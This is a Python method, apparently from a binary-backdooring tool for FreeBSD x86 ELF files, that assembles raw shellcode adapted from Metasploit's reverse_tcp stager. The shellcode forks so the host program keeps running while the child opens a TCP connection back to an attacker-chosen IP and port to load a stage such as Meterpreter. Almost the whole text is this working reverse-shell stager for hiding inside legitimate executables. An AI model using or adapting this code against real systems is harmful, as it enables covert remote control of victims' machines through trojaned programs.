    def reverse_tcp_stager(self, CavesPicked={}):
        """
        FOR USE WITH STAGER TCP PAYLOADS INCLUDING METERPRETER
        Modified from metasploit payload/bsd/x86/shell/reverse_tcp
        to correctly fork the shellcode payload and continue normal execution.
        """
        if self.PORT is None:
            print ("Must provide port")
            return False
        #FORK SHELLCODE
        self.shellcode1 = "\x52"        # push edx
        self.shellcode1 += "\x31\xC0"   # xor eax, eax
        self.shellcode1 += "\xB0\x02"   # mov al, 2
        self.shellcode1 += "\xCD\x80"   # int 80
        self.shellcode1 += "\x5A"       # pop edx
        self.shellcode1 += "\x85\xc0\x74\x07"
        self.shellcode1 += "\xbd"
        self.shellcode1 += struct.pack("<I", self.e_entry)
        self.shellcode1 += "\xff\xe5"
        #EXTERNAL SHELLCODE
        self.shellcode1 += "\x6a\x61\x58\x99\x52\x42\x52\x42\x52\x68"
        self.shellcode1 += self.pack_ip_addresses()
        self.shellcode1 += "\xcd\x80\x68\x10\x02"
        self.shellcode1 += struct.pack('!H', self.PORT)
        self.shellcode1 += ("\x89\xe1\x6a\x10\x51\x50\x51\x97\x6a\x62\x58\xcd\x80"
                            "\xb0\x03\xc6\x41\xfd\x10\xcd\x80\xc3")
        self.shellcode = self.shellcode1
        return (self.shellcode1)
FOR USE WITH STAGER TCP PAYLOADS INCLUDING METERPRETER
Modified from metasploit payload/bsd/x86/shell/reverse_tcp
to correctly fork the shellcode payload and continue normal execution.
intel/FreeBSDIntelELF32.py